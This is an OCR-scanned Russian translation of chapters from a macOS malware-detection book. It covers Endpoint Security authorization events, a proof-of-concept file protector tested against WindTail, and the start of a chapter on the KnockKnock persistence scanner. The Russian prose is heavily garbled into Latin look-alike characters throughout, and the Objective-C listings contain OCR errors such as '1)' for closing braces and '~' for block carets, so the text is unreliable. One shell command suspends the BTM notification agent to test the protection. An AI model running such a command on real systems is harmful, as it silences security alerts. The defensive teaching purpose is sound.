ES_EVENT_TYPE_AUTH_SIGNAL. B nuctuHre 9-12 Mbl cocpefoTounmcs Ha nocnegHen sagade.
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es_client_t* client = NULL;

es_event_type_t events[] = {ES_EVENT_TYPE_AUTH_SIGNAL};

es_new_client(&client, ~(es_client_t* client, const es_message_t* message) {
int signal = message->event.signal.sig;

es_process_t* sourceProcess = message->process;

es_process_t* targetProcess = message->event.signal.target;

// Add code to check if signal is a SIGSTOP or SIGKILL being sent to a process
// involved in showing user notification alerts.

1)

es_subscribe(client, events, sizeof(events)/sizeof(events[0]));
JlnctnHr 9-12: Mognucka Ha aBTOpU3aLMOHHbIE CODLITUSI AOCTaBKN CUrHANoOB

Koraa kakon-nMbo npouecc neitaetcst oTnpaBuTb curHan, Endpoint Security BeidoBeT callback ¢
coobLeHnemM, cogepxallmm CTpYKTypy es_event_signal_t. Koa nsenekaet TvMn curHana, a Takke
NCXOOHbIN 1 LIeNeBon npoueccsl.

MbI MOXXeM NpoBepuTb, ABNAETCA Nn curHan SIGSTOP unn SIGKILL n 9BngeTcs fiv NpoLecc, KOTopbln
OOIKeH nony4nTb curHan, nubo areitom BTM, nnbo Notification Center. Ecnu ga, mbl npocTo
3anpellaem JOCTaBKy cUrHana, Bbi3biBas es_respond_auth_result co sHayeHvem
ES_AUTH_RESULT_DENY (nuctuHr 9-13).

if( (signal == SIGSTOP) || (signal == SIGKILL) ) {

pid_t targetPID = audit_token_to_pid(targetProcess->audit_token);

if( (targetPID == btmAgentPID) || (targetPID == notificationCenterPID) ) {

es_respond_auth_result(client, message, ES_AUTH_RESULT_DENY, false);

}
}

JluctnHr 9-13: 3anpet nogo3puTenbHbIX curHanoB SIGSTOP mnu SIGKILL

O6paTtute BHUMaHue, 4TO B APYromM MecTe CBOEro Koga BaMm, BEPOSITHO, criefyeT HanTu U COXpaHUTb
process ID ansa areHta BTM u npouecca Notification Center, nockonbKy Bbl He 3aX0TUTE UCKaTb ero npu
Kapkgow JocTaBke curHana. Bel Takxke, ckopee BCero, 3axoTuTe 3anvcbiBaTb COOBLLEHMe XypHana,
BKMtoYatoLLee nHgpopmaumio 06 MCXoAHOM npoLecce, NbiTaloLWweMcsl OTNPaBWUTb NOAO3PUTENbHbIA CUrHan,
unu cobmpaTb ee Anga AanbHenLWero N3y4yeHuns.

Ecnun Bbl peanunsyeTte 3TOT KO, CKOMMMMMPYETE €ro, 3anycTuTe, a 3aTemM BPYYHYIO NonbiTaeTecb
nogopsaTb yBegomrieHms nogcuctemsl BTM, ocTaHOBMB areHT, Balum JenCTBUS Tenepb SOMKHbI
3aBepLUMTLCS Heyaaven:

% pgrep BackgroundTaskManagementAgent

590

% kill -SIGSTOP 590
kill: kill 590 failed: operation not permitted

B TepmuHane mbl nony4aem process ID areHTa BTM (590 B aToM npumepe). 3aTem ucnonb3yem KomaHay
kill, yToBbl OTNPaBUTL areHTy curHan SIGSTOP. OTO BbI30BET 4OCTaBKy cobbITUS
ES_EVENT_TYPE_AUTH_SIGNAL Hawen nporpaMme, KOTopasi 3anpeTut ero, 4To npueeaeT K COOBLLEHNI0
operation not permitted.

Co3zpgaHue file protector

7 3aBepuy obecyxaeHue pperimBopka Endpoint Security paspaboTtkon proof-of-concept file protector. Ero
MOJHYH0 peanuaaunio MOXHO HaUTK B pyHKUMK protect B dpanine protect.m npoekrta ESPlayground.

Haw kog 6yoeT MOHUTOPUTL KOHKPETHBIN KaTanor (Hanpumep, AOMaLLHWIA KaTaror nosfib3oBaTerns unm
KaTtanor, cogepxalumn browser cookies) 1 paspeluaTtb 4OCTYN K HEMY TOJIbKO aBTOPU30BAHHbLIM
npoueccaM. Kaxabivi pas, Koraa npouecc neltaeTcsa nonyyntb OCTYN K paviny B kaTanore, Endpoint
Security 6yneT reHepMpoBaTh aBTOpM3aLMOHHOE CObbITME, AaBas HaleMy KO4y BO3MOXHOCTb
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BHMMaTENbHO M3Y4nTb NPOLIECC U PELUWTB, paspeLuaTb nu ero. B aTom npumepe Mbl paspelunm TonbKo
platform u notarized binaries n 3abnokupyem octarnbHble.

O7orT file protector koHuenTyanbHO noxox Ha Apple Transparency, Consent, and Control (TCC), Ho
[oGaBnsieT eLle OAuH YpoBeHb 3almMTbl. B KOoHLEe KOHL0B, NONb30BaTENN MOTYT HaUBHO NPEAOCTaBUTbL
TCC-paspelueHus BpegoHocHomy MO, caenas paHee 3awyieHHble daiinbl 4OCTYMHbIMUK, @ BPeAOHOCHOE
MO vacto akcnnyaTtupyeT nnu obxogumt cam TCC, kak B cnyvae BpegoHocHoro MO XCSSET. (4]
HakoHeL, Bbl MOXeTe 3aX0TEThb NPeOCTaBUTb aBTOPU30BaHHbIN 4OCTYN (M 06HapyXMBaThb
HeaBTOPM30BaHHbIN OCTYN) K charnam, pacnonoXeHHbIM BHE 3aluLLeHHbIX kaTanoros TCC, Hanpumep K
havinam cookies HeKOTOpPbIX CTOPOHHMX Bpay3epoB.

PaHee B aToi rnaee A obcyxaan MOHUTOPUHT kKaTtanora Documents BollefLlero nonb3oBarens Yepes
notify-cobbiTne. Kog B 3TOM pasgene noxox, 3a UCKIMoYEeHNEM TOro, YTO OH OXBaTbiBA€T BECb AOMALLHWIN
KaTanor nonb3oBaTens U paclimMpseT CMCOK MHTEPECYHIOLLNX COBLITUIA, BKIOYas Takke cobbiTus,
CBsI3aHHbIE C NonbiTkamMu yaaneHus cannos. Camoe BaXHOe, YTO 3TOT KOA UCMOMb3yeT
aBTOpM3aLMOHHble cobbiTua Endpoint Security ansa proactive-6nokupoBaHns HeQOBEPEHHOMO AocTyna.
Kak 06bI4HO, Mbl HAYHEM C yKa3aHus MHTepecyoLwmx cobbiTnin Endpoint Security, cosgaHus knueHTa
Endpoint Security, HacTporikn muting inversion 1, HakoHeL, NOAMUCKN Ha COBbITUSA (UCTUHT 9-14).

NSString* consoleUser =

(__bridge_transfer NSString*)SCDynamicStoreCopyConsoleUser(NULL, NULL, NULL);

NSString* homeDirectory = NSHomeDirectoryForUser(consoleUser);

es_client_t* client = NULL;

es_event_type_t events[] = {ES_EVENT_TYPE_AUTH_OPEN, ES_EVENT_TYPE_AUTH_UNLINK};

es_new_client(&client, ~(es_client_t* client, const es_message_t* message) {

// Add code here to implement logic to examine process and respond to event.

1

es_unmute_all_target_paths(client);

es_invert_muting(client, ES_MUTE_INVERSION_TYPE_TARGET_PATH);
es_mute_path(client, homeDirectory.UTF8String, ES_MUTE_PATH_TYPE_TARGET_PREFIX);
es_subscribe(client, events, sizeof(events)/sizeof(events[@0]));

JlnctnHr 9-14: Hactponka knueHTa Endpoint Security ans aBTopmnsaumm goctyna k dpannam

C pocTynom Kk channam cBs3aHO HECKOITbKO aBTOpPM3aLMOHHbIX cobbiTuin Endpoint Security. 3gech Mbl
ucnonb3yem ES_EVENT_TYPE_AUTH_OPEN v ES_EVENT_TYPE_AUTH_UNLINK, KOTOpble AaiT Ham
BO3MOXHOCTb aBTOPM30BLIBaTb NPOrpamMMbl, MbITAOLWNECS OTKPbIBaTL UNW yaansTb davinel. MNepsoe
CcoObITME MOXET OBOHapy>XMBaTh LUMPOKUIA ananas3oH BpegoHOCHOro MO ¢ BO3MOXHOCTSIMM ransomware
unu stealer, Torga kak BTopoe cobbiTue, BO3MOXHO, CMOXET OOHapyXuBaTb U NpegoTBpaLlaTh
BpenoHocHoe MO ¢ BO3MOXXHOCTAMM Wiper, KOTOPOE MOXET MblTaTbCs YAanuTb U CTEPETb BaXHbIE
dannebl.

Mocne co3gaHns Hosoro knueHTa Endpoint Security (handler block koToporo mbl BCkope Hanuwiem) kog
HacTpauBaeT muting inversion, NOCKONbKY HAC MHTEPECYIOT TONbKO COObITUS, CBA3AHHbIE C KaTanorom,
KOTOPbIN Mbl cobupaemcsa ykasatb. OH AMHAMUYECKN CTPOUT MYTb K JOMALLHEMY KaTanory BolleLero
nons3oBartens, a 3aTem Bbi3biBaeT APl es_mute_path. Nockonbky Mbl nHBepTuposanu muting, stot API
coobuwaeT nogcmcteme Endpoint Security focTaBnsiTb TONbKO COOLITUSA, NPOUCXOASILLNE BHYTPU
ykasaHHoro nyTu. Nocne BbI3oBa es_subscribe Endpoint Security HauHeT gocTaBnsATb CObLITUS,
BbInonHAA handler block, ykaszaHHbIM B Bbi3oBe pyHKLUMM es_new_client.

Kak mbl mornu 6bl peannsoBaTth Takon 6mnok? [ns npocToThl CHavana npeanonoxnm, Yto dygem
paspeLaTb nbon goctyn (MMCTuHr 9-15).
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es_new_client(&client, ~(es_client_t* client, const es_message_ t* message) {
switch(message->event_type) {

case ES_EVENT_TYPE_AUTH_OPEN:

es_respond_flags_result(client, message, UINT32_MAX, false);

break;

case ES_EVENT_TYPE_AUTH_UNLINK:

es_respond_auth_result(client, message, ES_AUTH_RESULT_ALLOW, false);

break;

1)

Jinctuur 9-15: PaspelueHune Bcex JOCTYNoB K hannam

HanomHto, uto anga cobbitnin ES_EVENT_TYPE_AUTH_OPEN gokymeHTaums Apple roBopuT, 4TO Mbl JOJDKHbI
oTBe4vaTb pyHKUMen es_respond_flags_result. Ytobbl coobwmTtb nogcucteme Endpoint Security
paspeLlmnTb cobbITUE, Mbl Bbi3biBaeM 3Ty yHKuuio ¢ UINT32_MAX. [Ing cobbitus
ES_EVENT_TYPE_AUTH_UNLINK Mbl, Kak OObI4HO, OTBEYAEM C NOMOLLbIO es_respond_auth_result.

Ha npoTnBONOMnoXHON CTOPOHE NUCTUMHI 9-16 NokasbiBaeT Kog ANd 3anpeTa BCEX OTKPbITUA UK yaaneHumn
¢annos B kaTanore.

es_new_client(&client, ~(es_client_t* client, const es_message_t* message) {
switch(message->event_type) {

case ES_EVENT_TYPE_AUTH_OPEN:

es_respond_flags_result(client, message, 0, false);

break;

case ES_EVENT_TYPE_AUTH_UNLINK:

es_respond_auth_result(client, message, ES_AUTH_RESULT_DENY, false);

break;

1)

JlnctnHr 9-16: 3anpeT Bcex AOCTYNOB K dannam

EOWHCTBEHHbIE N3MEHEHMS OTHOCUTENBHO KoAa, pa3peLuaroLero Bce cobbiTusi, COCTOAT B TOM, YTO
Tenepb Mbl Bbi3biBaeM (pyHKUMIO es_respond_flags_result c © B Ka4ecTBe TpPeTbero napameTpa u
nepenaem es_respond_auth_result 3HayeHne ES_AUTH_RESULT_DENY.

Pacwumnpum atoT Kog, 4ToObl n3BneYb NyTh NpoLiecca, OTBETCTBEHHOIO 3a cobbITUE, a Takke NyTb danna,
KOTOPbIN NPOLIECC NbITAETCA OTKPbLITh UK yaanuTb (MUCTUHT 9-17).

es_new_client(&client, ~(es_client_t* client, const es_message_t* message) {
es_string_token_t* filePath = NULL;

es_string_token_t* procPath = &message->process->executable->path;
switch(message->event_type) {

case ES_EVENT_TYPE_AUTH_OPEN:

filePath = &message->event.open.file->path;
es_respond_flags_result(client, message, 0, false);

break;

case ES_EVENT_TYPE_AUTH_UNLINK:

filePath = &message->event.unlink.target->path;
es_respond_auth_result(client, message, ES_AUTH_RESULT_DENY, false);
break;

¥
1)

JluctnHr 9-17: N3BneveHue nyTei NpoLEeccoB 1 NyTen dannos

lMyTb OTBETCTBEHHOIO MpoLiecca MOXXHO HAaWTU B YNEHE process CTPYKTYpbl cooOLeHns ans nodoro
cobbiTusa Endpoint Security, Ho gpyras nHdopmaumsi 3aBUCUT OT KOHKPETHOrO cobbITUs. [1oaTOMY MbI
n3enekaem ¢ann B handler gns kaxxgoro Tmna cobbitus. [na cobbitnin ES_EVENT _TYPE_AUTH_OPEN Mbl
Haxo4uM €ero B CTPYKType es_event_open_t, a ansa cobbituii ES_EVENT_TYPE_AUTH_UNLINK oH
HaxoauTcs B CTPYKType es_event_unlink_t.
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Tenepb Mbl JOMKHbI paspeLuaTb UNn 3anpeLatb OTKPLITUSA U yaaneHust haninoB Ha OCHOBE HEKOTOPbIX
npasun, B 3aBMCUMOCTU OT TOro, YTO UMEHHO MNbiTaeMcA 3alLNTUTb. BCI‘IOMHI/ITe, 4YTO BpeaoHOCHOe no
MacStealer nbiTaetcs ykpacTb browser cookies. BoobLue roBops, HUKaKo CTOPOHHUI NPOLIECC, KpOMe
Opay3epa, He gomkeH obpallaTtbes k ero cookies. [oaTomy Bbl MOXXETE MPOCTO peanu3oBaTtb
deny-npaBuno ¢ UCKMYeHnem, paspeLlaowmm cam 6paysep. Mo process ID, nyTv unu, 4To ewle nyulle,
MHopmaumm code signing AOMKHO ObITb NErko onpeaenuTb, aBnseTca nu 6paysep OTBETCTBEHHbLIM
NpoLEeCcCoM.

Ecnn BbI 3alumiiaeTe cannbl B JOMALLIHEM KaTanore nonb3oBartens, Takon noaxos "deny all with
exceptions", BepoaTHO, NoBNusSeT Ha yaobCTBO NCMNOMNb30BaHWUS CUCTEMBI. [109TOMY Bbl MOXETE 3ax0TeTb
MCMnonb3oBaTh 3BPUCTUKN, HAaNprMMep aBTOPM30BbIBaTb TOSNIbKO HOTApPU30BaHHbIE NMPUOXEHNS,
npunoxeHns n3 App Store nnu platform binaries. OgHako BpegoHocHoe MO nHorga genervpyeT AencTBus
shell-komaHgam, koTopble siBnstoTca platform binaries, noaTomy Bbl, BEPOSATHO, 3aX0TUTE U3yYaTb
nepapxuio OTBETCTBEHHOIO npoLecca, YTobbl yoeanTbes, 4To OHa He 3noynotpebnaeTcs BpegoHOCHbIM
o6pasom.

B aTOM npumepe Mbl coxpaHMM NPOCTOTY, pas3peLurB AOCTYN K JOMAaLLHEMY KaTanory TeKyLero
nonb3oBaTtend Tonbko platform unu notarized binaries (nucTuHr 9-18).

es_new_client(&client, ~(es_client_t* client, const es_message_t* message) {
es_string_token_t* filePath = NULL;

es_string_token_t* procPath = &message->process->executable->path;

BOOL isTrusted = ( (YES == message->process->is_platform_binary) ||

(YES == isNotarized(message->process)) );

switch(message->event_type) {

case ES_EVENT_TYPE_AUTH_OPEN:

filePath = &message->event.open.file->path;

printf("\nevent: ES_EVENT_TYPE_AUTH_OPEN\n");

printf("responsible process: %.*s\n", (int)procPath->length, procPath->data);
printf("target file path: %.*s\n", (int)filePath->length, filePath->data);
if(YES == isTrusted) {

printf("process is trusted, so will allow event\n");
es_respond_flags_result(client, message, UINT32_MAX, false);

} else {

printf("process is *not* trusted, so will deny event\n");
es_respond_flags_result(client, message, 0, false);

}

break;

case ES_EVENT_TYPE_AUTH_UNLINK:

filePath = &message->event.unlink.target->path;

printf("\nevent: ES_EVENT_TYPE_AUTH_UNLINK\n");

printf("responsible process: %.*s\n", (int)procPath->length, procPath->data);
printf("target file path: %.*s\n", (int)filePath->length, filePath->data);
if(YES == isTrusted) {

printf("process is trusted, so will allow event\n");
es_respond_auth_result(client, message, ES_AUTH_RESULT_ALLOW, false);

} else {

printf("process is *not* trusted, so will deny event\n");
es_respond_auth_result(client, message, ES_AUTH_RESULT_DENY, false);

¥

break;

}
1)

Jlnctunr 9-18: MpepocTaBneHune goctyna k davinam Tonbko platform n notarized processes

Mbl NpoBepsiem, SBNSIETCS N OTBETCTBEHHbIN Npouecc nubo platform binary, nm6o HoTapn3oBaHHbIM.
MposepuTtb, aBnaeTca nu npouecc platform binary, Tak e NpocTo, Kak NPOBEPUTb YNeH
is_platform_binary cTpykTypbl Npouecca, HaxogsLencsa B 4OCTaBneHHOM coobwennn Endpoint
Security. B rmase 3 mbl ncnons3osanu API code signing oT Apple, 4TOGbI BbISICHUTE, HOTApPM30BaH Jn
npouecc; 3gecb Mbl He Byaem cHoBa pasbupaTb 3TOT NPoLEeCcc, KpOME 3aMedaHusl, YTo co3aanu nNpocTyto
helper-pyHkumio ¢ umeHem isNotarized, koTopasa ncnonbayet audit token oTBEeTCTBEHHOrO Npouecca
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Onsi NpoBepku ero crtaTyca notarization. (Ecnu Bam MHTepecHa NonHas peanusaums 3Ton yHKLUN,
cmoTpuTte gann protect.m B npoekte ESPlayground.)

Takke CTOUT OTMETUTb, YTO Nnorndeckuin onepatop OR BeinonHUT short-circuit, ecnu nepsoe ycnosne
WCTUHHO, MO3TOMY Mbl CTaBUM NpoBepky platform binary nepeow. MNockonbKy 3ToO NpocTasi NpoBepka
Boolean-3Ha4yeHus B CTPYKType, OHa MEHee BblYUCNNTENBHO 3aTpaTHa, YeM NosiHasi NpoBepka
notarization, noaTomMy Mbl CHa4yana BbinonHsem 6onee aHEKTUBHYO NPOBEPKY U BbIMOTHAEM BTOPYHO
TONbKO NpK HEOOXOAMMOCTH.

Ckomnunupyem npoekt ESPlayground u 3anyctum ero ¢ goriarom -protect, 4ToObl 3anyCcTUTb 3Ty JIOTUKY.
MHCprMeHT 06Hapy>|<V|BaeT MCnosyib3oBaHMe BCTPOEHHbIX KOMaHA macOS ana ndyyvyeHnda gomalllHero
KaTtanora u yganeHua (ba|7|na BHYTPW KaTanora Documents, HO BC€ paBHO pa3peLllaeT 3Th ,EI,eIZCTBMHZ

# ESPlayground.app/Contents/MacOS/ESPlayground -protect

ES Playground

Executing 'protect’ logic

protecting directory: /Users/Patrick

event: ES_EVENT_TYPE_AUTH_OPEN

responsible process: /bin/1ls

target file path: /Users/Patrick

process is trusted, so will allow event

event: ES_EVENT_TYPE_AUTH_UNLINK

responsible process: /bin/rm

target file path: /Users/Patrick/Documents/deleteMe.doc

process is trusted, so will allow event

Tenepb paccmoTtpum WindTail, persistent cyber-espionage implant, KoTopbln CTpEMUTCA NEPEYNCATE U
akcunbTpupoBaTh hannel B katanore Documents none3osartens. Ecnu Mbl ycTaHOBUM €ro B
BMPTyanbHON MalluHe, To yBMAUM, 4To BpegoHocHoe MO (HasbiBaemoe Final_Presentation.app)
nblTaeTca nepeuncnnTb annel B kaTanore documents nonb3oBaTens. Mbl 06Hapy>XMBaem 3TOT 4OCTYM, U
nockonbKy 6uHapHbii dpann WindTail (B aTom npumepe Ha3biBaeMbIn usrnode) He siBNAeTCA
[OBEpPEHHbIM, Mbl 6NIOKMpYyeM JOCTYN K KaTanory:

# ESPlayground.app/Contents/MacOS/ESPlayground -protect

ES Playground

Executing 'protect’ logic

protecting directory: /Users/User

event: ES_EVENT_TYPE_AUTH_OPEN

responsible process: /Users/User/Library/Final_Presentation.app/Contents/MacOS/usrnode

target file path: /Users/User/Documents
process is *not* trusted, so will deny event

TpyoHo nepeoLeHnTb BaxkHOCTbL Endpoint Security Ans cosgaHvs MHCTPYMEHTOB, CNOCOOHbIX
obHapyxuBaTtb BpegoHocHoe MO ana Mac u sawmwatb oT Hero. B nocneagHue roasl Apple nobasuna Bo
dpenmBopk Borblue coObITUI (Taknx kak ES_EVENT_TYPE_NOTIFY_XP_MALWARE_DETECTED B macOS 13 u
ES_EVENT_TYPE_NOTIFY_GATEKEEPER_USER_OVERRIDE B macOS 15) 1 MOLLHbIE BO3MOXHOCTU, NO3ITOMY
npu cosgaHunm noboro MHCTpymeHTa 6e3onacHocTM ucnonb3oBaHme Endpoint Security gomkHO 6biTb
BaLUMM MEPBbIM COOBPaKEHNEM.

3aknro4yeHue

B aTown rmaBe s paccmoTpen npoAaBuHyThle TeMbl Endpoint Security, Bkntoyast muting, inverted muting u
authorization events. [Npymepsbl Nokasanu, kak UCNONb30BaTb 3TM BO3SMOXHOCTW AN CO34aHus
NHCTPYMEHTOB, CNOCOBHLIX 06HapyxusaTb BpeaoHocHoe MO, koraa OHO BbIMOMHAET HEaBTOPU3OBaHHbIE
JencTBus, a Takke proactively npecekaTb e/CTBME C CaMOro Havyana.
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OTa rnaBa 3aBepLuaeT yacTb |l 3ToN KHUIM, NOCBSALLEHHYI0 TeMaM BO3MOXHOCTeN real-time monitoring.
YacTtb Il 06beguHUT MHOMME TeMbI, pacCMOTPEHHbIe B YacTsx | 1 ll, korga mMbl uccrnegyem BHyTpeHHee
YCTPOWNCTBO CambIx NOMyNspHbIX MHCTPYMeHTOB Objective-See anst o6HapyxeHus BpegoHocHoro MO
macOS.

MpumeyaHus
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naBa 10. NMNepeuncnurenns 3akpenneHus

B Havane 2014 roga 6nmskun gpyr ymonsin meHs nomoyb o6e33apasunTb ero Mac. Korga s ycencs nepeq
€ro 3KpaHoM, 5 yBugen o4eBugHble Npu3Haku pasrynsaslerncs adware-nHpekumn: sonuoLme browser
pop-ups, a Takke 3axBayeHHyI0 AOMaLLHIO cTpaHuuy. Eue xyxe 6bio 10, 4To cbpoc bpaysepa He
nomorar; nNpu Kaxaon nepesarpyske OH BO3BpaLlancs B 3apaXXeHHoe COCTOsSHUE, YTO yKka3blBaro Ha
Hanu4ue persistent component, 3akonaHHoro rae-To rnyboko B cucteme.

B 10 Bpems A 6bin onbITHBIM aHanMTUkoM BpegoHocHoro MO ang Windows, Tonbko HadMHaBLWNM CBOE
norpyxeHve B Mmp macOS. HauBHO 5 Ayman, YTO CMOry ckayaTb MHCTPYMEHT, CMOCOGHbLIV NepeuncnnTb
Bce persistent software, yctaHoBneHHoe B cucteme, YToObl BbIABUTb BPEAOHOCHbBIN KOMMOHEHT.
M3BecTHblE MHCTPYMEHTbI Be3onacHocTu, Takme kak Microsoft AutoRuns, ] npenocTaBnNsaAny Takyto
BO3MOXHOCTb ansa Windows-cucrtem, HO Bckope S 0OHapyXun, YTo Hu4ero noxoxero ans Mac He
cyLlecTByerT.

£ BepHynca JOMOW M criefytoLme HeCcKomnbKo gHen cobupan Python-ckpunT, koTopbI, XOTSA 1 ObiN 40
CTbl4a YpOANuMBbLIM, MOT NEPEYMCNATE HECKONBbKO TUMOB persistent software. 3anyck ckpunTa BbiiBUN Ha
KOMMblOTEpPEe MOEro apyra Hey3HaHHbIN launch agent, koTopbIn oka3anca OCHOBHbIM persistent component
aTon adware. [Nocne Toro Kak a1 yaanun ero, Mac gpyra cran kak HOBbI.

[MoHSB, YTO MOW CKpUMNT MOXET MPUHECTM NOMb3y APYIMM Monb3oBaTtensam Mac, g npuBen ero B Nopsgok 1
BbINycTunn nog umeHem KnockKnock. [2] (Moyemy KnockKnock? MoTtomy 4TO OH roBOpUT Bam, KTo Tam!)
CerogHsa KnockKnock cunbHO BbIpOC MO CPaBHEHWUIO CO CBOMM Ha4varnom B BUAe CKpOMHOro command line
script. Tenepb OH pacnpocTpaHsieTca kak native macOS application n cnocobeH ob6HapyxumBaTb
MHOXeCTBO persistently installed items B nto6on cuctreme macOS. B coueTaHun ¢ MHTYUTUBHBIM
nonb3oBaTtenbckum nHtepdericom (Ul), nHterpaumen c VirusTotal u BO3MOXHOCTBIO S3KCMOPTMPOBATh
pes3ynbTaTtbl 4Ns 3arpy3ku B security information and event management (SIEM), aTo nepBbin
WHCTPYMEHT, KOTOPLIN A 3anyckato Ha nobom Mac, KOTopbI MO403pEBat0 B 3apaXKeHun.

B aTow rmase s nogpo6bHo npongy no auvsanHy u peanusauum KnockKnock, 4tobbl gatb Bam yrnybneHHbIv
B3rNS4 HAa MHCTPYMEHT M pacLUMpUTb Balle MOHVMaHVe MEeTOA0B 3aKpenneHns, KOTOPbIMU BPEAOHOCHOe
MO ans Mac yacTo 3noynoTpe6bnsaeT (unu morno 6bl 3noynoTpebnATb). B npouecce mMbl BbIiaeM 3a
npeaernsl MexaHmama obHapyxeHus, obcyxaaBLUerocs B rnase 5, KOTopbIn Bbin cocpegoTodeH
ncknounTenbHo Ha 6ase gaHHbIX Background Task Management, n nocMoTpum Ha gpyrmue cnocoobl
3akpennenusa B macOS, Bkntovas browser extensions n dynamic library hijacks. MNonHeIn ncxogHein kog
MOXHO HanTu Ha cTpaHuue Objective-See B GitHub, B penosuntopum KnockKnock no agpecy
https://github.com/Objective-see/KnockKnock.

Oun3anH MHCTpyMeHTa

KnockKnock - aTto ctaHgapTHoe npunoxeHne Ha ocHoBe Ul (kak noka3aHo Ha pucyHke 10-1), HO
nonb3oBaTeny Takke MOryT BbIMOMHUTL €ro B TepMuHane kak command line tool.
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KnockKnock

Start Scan

Categories:

Authorization Plugins

Browser Extensions ChmodBRF

8
bgents, dasmons, & login itess managed by BTN

Cron Jobs com. adobe, acc. installer.v2

Dir. Services Plugins magnetlauncher

Event Rules

Extensions and Widgets

Kernel Extensions o oam.us

PucyHok 10-1: Nonb3oBaTenbckuit nHTepdenc KnockKnock

Mockonbky aTo He KHMra o HanncaHuu Ul (cnaea 6ory!), s He Bygy yrnybnaTtecs B kof, oTHocAwmncs k Ul
KnockKnock. BmecTo 3Toro s cocpegotoyych rnaBHbIM 06pa3omM Ha ero OCHOBHbLIX KOMMOHEHTAaX, Takux
Kak MHOroYucreHHble plug-ins, oTBevaroLme 3a onpoc pasrmyHbiX acnekToB OnepaunoHHON CUCTEMbI A1
nepeuuncneHus persistently installed items.

NMapameTpbl KOMaHOHOW CTPOKU

Kog ntoboii Objective-C-nporpammbl Ha4MHaEeTCst CO CTaHAapTHOM dyHKLUMK main, n KnockKnock He
ucknoyerve. B ceoen pyHkumm main KnockKnock HaunHaeT ¢ npoBepku program arguments, 4To6bl
onpegenuTb, JOJMPKEH MM OH MoKa3aTb UHopMaumio 06 NCNONb30BaHMM UK BbINONMHUTE command line
scan (nuctuHr 10-1).

int main(int argc, const char* argv[]) {

if( (YES == [NSProcessInfo.processInfo.arguments containsObject:@"-h"]1) ||
(YES == [NSProcessInfo.processInfo.arguments containsObject:@"-help"]) ) {

usage();
goto bail;

}

if(YES == [NSProcessInfo.processInfo.arguments containsObject:@"-whosthere"]) {

cmdlineScan();

}
}
Jinctunr 10-1: Pazbop napameTpoB KOMaHAHOM CTPOKM

B03MOXHO, Bbl 3HaKOMbI C JOCTYMNOM K apryMmeHTam KOMaHOHOW CTPOKM Nporpammbl Yepes argv yHKunn
main. Objective-C nogaepxuvBaeT aTOT N0AX04, HO Mbl TAKKE MOXEM MONy4YnTb AOCTYM K apryMeHTam
Yyepes MaccuB arguments cBoKcTBa processInfo B knacce NSProcessInfo. Y 9TOM TEXHUKU €CTb
HEeCKOMbKO MpenMyLLEeCTB, CaMoe 3aMeTHOE U3 KOTOPbIX COCTOUT B TOM, YTO OHa NpeobpasyeT apryMeHThbl
B Objective-C objects. 310 03HauaeT, Hanpumep, YTO Mbl MOXEM UCNonb3oBaTb MeTod containsObject:,
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4yTOObI NErko onpenenntb, ykasan JiM norib3oBaTtesib OﬂpeﬂeﬂeHHbIVI aprymeHT KOMaHaHom CTPOKMH,
He3aBMCUMO OT nopsAgka apryMmeHToB.

YTt06bI ONpeaenuTb, BuiNonHATL N command line scan, KnockKnock nposepsieT, ykazan nu
nosib3oBaTesib NapamMmeTp KOMaHOHOW CTPOoKM -whosthere. Ecnn Aa, OH BbI3biBaeT CBOK (PYHKLMIO
cmdlineScan, 4Tobbl BBINOMHWUTBL CKAHMPOBaHUE CUCTEMBI, NedaTtas nHdopmMaumio o persistently installed
items npsimo B TepmuHarn.

Plug-ins

Mockonbky BpeaoHocHoe MO moxeT 3akpennatbes B macOS MHOXeCTBOM crnocoboB, a nccrnegoBaTenm
BpeMs OT BpeMeHn obHapyxuBatoT HoBble MeToabl, Au3ariH KnockKnock onupaeTcs Ha KoHuenuutio,
KoTopyto s1 6yay HasbiBaTb plug-ins. Kaxapbin plug-in cooTBETCTBYET OOHOMY TUMNY 3aKpenneHus u
peanuayeT NOrMKy NepevncrieHnsa aNeMeHTOB 3TOro Tuna 3akpenneHus. 3atem plug-ins BbI3bIBAKOT Apyrue
yacTtn KnockKnock ansi BbInoniHeHUs AencTBuiA Bpoge oTobpaxeHus kaxaoro anemeHTa B Ul. Takon
MOAYNbHbIN NoAXo4 AaeT NPOCTon N adhPekTUBHLIN cnocob A06aBnATb NOAAEPXKKY HOBbIX TEXHUK
3akpenneHusi. Hanpumep, nocne Toro kak uccnegosarene Csaba Fitzl ony6nmkosan blog post “Beyond
the Good OI' LaunchAgents -32- Dock Tile Plugins,” rae noapo6HoO onuckiBanack HoBasi cTpaTerus
3akpenneHus ¢ ucnonbdosaHneM macOS Dock plug-ins, Blg nobasun cooTBeTCTBYOLLEe OBHapyxXeHVe B
KnockKnock yepes HoBbIN plug-in B TeyeHue Yaca.

Kaxgbin plug-in KnockKnock HacnegyeTtca oT nonb3oBaTenbckoro 6a3oBoro knacca plug-in ¢ umeHem
PluginBase, KOTOpbI 06bABNASET CBONCTBA, 06Lwme ans Bcex plug-ins, a Takke 6a3oBble meToabl. OH
HaxoauTcs B PluginBase. h n BknoyaeT metadata plug-in, Takyto kak UMs 1 onucaHue, a Takke MaccuBhbl,
koTopble plug-in 3anonHAeT no mepe obHapyxxeHus persisting items (nuctunHr 10-2).

@interface PluginBase : NSObject

@property(retain, nonatomic)NSString* name;

@property(retain, nonatomic)NSString* icon;

@property(retain, nonatomic)NSString* description;

@property(retain, nonatomic)NSMutableArray* allltems;

@property(retain, nonatomic)NSMutableArray* flaggedItems;

@property(retain, nonatomic)NSMutableArray* unknownItems;
@property(copy, nonatomic) void (~callback)(ItemBase*);

gend

JInctnHr 10-2: CeowictBa 6a3oBoro knacca plug-in

Knacc Takke ob6baBnseT pasnuyHble 6a3oBble metoapbl (MUCTuHr 10-3).
-(void)scan;

-(void)reset;
-(void)processItem: (ItemBase*)item;

Jinctunr 10-3: MeTtogpbl 6a3oBoro knacca plug-in

Kaxabin plug-in gormkeH peanu3oBaTb MeTO scan C NIOrMKON nepeyncrieHns ogHoro tuna persistent item.
Hanpumep, plug-in Background Task Management 6yaet pasbupaTb 6a3y gaHHbix Background Task
Management, 4ToObl u3Bneuyb persistent items, ynpasnaembie nogcmucremon Background Task
Management, Torga kak plug-in Browser Extension OyaeTt nepeuncnsite ycTraHOBMNEHHbIE Bpay3epbl U 4N
Ka)kgoro n3BnekaTb BCe yCTaHOBMNEHHbIe browser extensions. Ecnu nccnegosateny obHapyXaTt HOBbIV
MEeXaHW3M 3aKpensieHnsi, Mbl MOXXEM TpMBUANbHO A400aBUTbL HOBbIV plug-in ¢ METOAOM scan, CMOCOOHbLIM
